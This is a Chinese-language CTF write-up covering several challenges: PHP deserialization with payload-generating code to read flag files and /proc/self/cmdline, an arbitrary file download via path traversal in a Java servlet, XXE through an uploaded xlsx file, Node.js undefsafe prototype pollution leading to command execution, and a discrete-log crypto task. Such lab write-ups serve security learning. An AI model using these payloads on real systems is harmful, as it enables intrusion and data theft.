比较简单的一道反序列化题。
因为类中有protected属性,所以要先绕过is_valid
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
因为php7.1+对类属性的检测不严格,所以这里可以直接用public来写payload.
接着我们要读取文件,得让$op为2,这里利用php的弱比较,直接让$op=2绕过。
然后就是题目只能通过绝对路径来读取文件,这里有三种解法:
第一种应该是非预期,将content属性改为private可以通过相对路径读到flag.php
<?php class FileHandler { public $op=2; public $filename="flag.php"; private $content; } $a=new FileHandler; echo (serialize($a)); ?>
第二种是通过网站的报错,查看docker的web路径。
第三者是读取当前进程的cmdline
<?php class FileHandler { public $op=2; public $filename="/proc/self/cmdline"; public $content; } $a=new FileHandler; echo (serialize($a)); ?>
最后通过绝对路径读flag
<?php class FileHandler { public $op=2; public $filename="/web/html/flag.php"; public $content; } $a=new FileHandler; echo (serialize($a)); ?>
一个简单的Servlet上传和下载功能。在下载功能处存在任意文件下载。
通过报错来获得网站的绝对路径
然后java题,一般是读取web.xml
然后根据web.xml读取class文件。规律是将包名换成路径,然后在/WEB-INF/classes/下。比如这里读取UploadServlet
/file_in_java/DownloadServlet?filename=../../../../../../.././../../..//usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
将所有的class文件下载下来之后,进行反编译,然后审计代码。
一共三个servlet,大概就是列出目录下的文件,下载文件,还有就是上传文件。
这里还限制了直接读取flag.
继续审计,发现这里会对xlxs文件进行处理,可能存在xxe漏洞。
参靠文章 https://xz.aliyun.com/t/7272#toc-9
结合 xxe外带出flag
这里记得文件名前面要加excel-
nodejs题,可以直接下载源码审计
首先来看下undefsafe库
题目的本意是用来改变列表中属性的值。这里存在原型链污染漏洞。
接着在源码中寻找原型污染利用的地方,发现
app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); })
如果我们能给commands数组添加我们自己想要执行的代码,则可以rce
这里因为对数组进行了遍历,所以我们污染object,遍历的时候是会遍历到数组的原型即object的属性。
现在我们思路就很清晰了
app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } })
通过路由/edit_note 污染原型链,然后访问/status触发payload
from Crypto.Util.number import * import random n = 2 ** 512 m = random.randint(2, n-1) | 1 c = pow(m, bytes_to_long(flag), n) print 'm = ' + str(m) print 'c = ' + str(c)
简单的离散对数。可以直接用sagemath网站来求
运作.exe输入正确的数即可。